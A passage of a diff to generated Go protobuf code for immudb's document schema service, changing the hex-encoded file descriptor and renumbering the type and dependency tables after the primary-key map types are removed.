0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, - 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, - 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, + 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, + 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, + 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, + 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1733,7 +1681,7 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 24) var file_documentschema_proto_goTypes = []interface{}{ (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator (IndexType)(0), // 1: immudb.documentschema.IndexType @@ -1759,65 +1707,53 @@ var file_documentschema_proto_goTypes = []interface{}{ (*CollectionDeleteRequest)(nil), // 21: immudb.documentschema.CollectionDeleteRequest (*CollectionDeleteResponse)(nil), // 22: immudb.documentschema.CollectionDeleteResponse (*Proof)(nil), // 23: immudb.documentschema.Proof - nil, // 24: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry - nil, // 25: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry - nil, // 26: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry - nil, // 27: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 28: immudb.documentschema.CollectionInformation.PrimaryKeysEntry - nil, // 29: immudb.documentschema.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 30: google.protobuf.Struct - (*schema.VerifiableTx)(nil), // 31: immudb.schema.VerifiableTx - (_struct.NullValue)(0), // 32: google.protobuf.NullValue - (*_struct.Value)(nil), // 33: google.protobuf.Value + nil, // 24: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 25: immudb.documentschema.CollectionInformation.IndexKeysEntry + (*structpb.Struct)(nil), // 26: google.protobuf.Struct + (*schema.VerifiableTx)(nil), // 27: immudb.schema.VerifiableTx + (structpb.NullValue)(0), // 28: google.protobuf.NullValue + (*structpb.Value)(nil), // 29: google.protobuf.Value } var file_documentschema_proto_depIdxs = []int32{ - 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 31, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 32, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 26, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 27, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 28, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 33, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 29, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value 5, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 24, // 7: immudb.documentschema.DocumentProofRequest.primaryKeys:type_name -> immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry - 31, // 8: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx - 25, // 9: immudb.documentschema.DocumentAuditRequest.primaryKeys:type_name -> immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry - 12, // 10: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 30, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct - 1, // 12: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 26, // 13: immudb.documentschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry - 27, // 14: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - 16, // 15: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 28, // 16: immudb.documentschema.CollectionInformation.primaryKeys:type_name -> immudb.documentschema.CollectionInformation.PrimaryKeysEntry - 29, // 17: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry - 16, // 18: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 16, // 19: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 4, // 20: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue - 4, // 21: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue - 13, // 22: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 23: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 24: immudb.documentschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 25: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 26: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 6, // 27: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 10, // 28: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 8, // 29: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 14, // 30: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 18, // 31: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 19, // 32: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 21, // 33: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 3, // 34: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 7, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 11, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 9, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 15, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 17, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 20, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 22, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 34, // [34:42] is the sub-list for method output_type - 26, // [26:34] is the sub-list for method input_type - 26, // [26:26] is the sub-list for extension type_name - 26, // [26:26] is the sub-list for extension extendee - 0, // [0:26] is the sub-list for field type_name + 26, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 27, // 7: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 12, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit + 26, // 9: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType + 24, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 16, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 25, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 16, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 16, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation + 13, // 16: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 17: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 18: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 6, // 19: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 10, // 20: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 8, // 21: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 14, // 22: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 18, // 23: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 19, // 24: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 21, // 25: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 3, // 26: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 7, // 27: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 11, // 28: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 9, // 29: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 15, // 30: immudb.documentschema.DocumentService.CollectionCreate:output_type -> 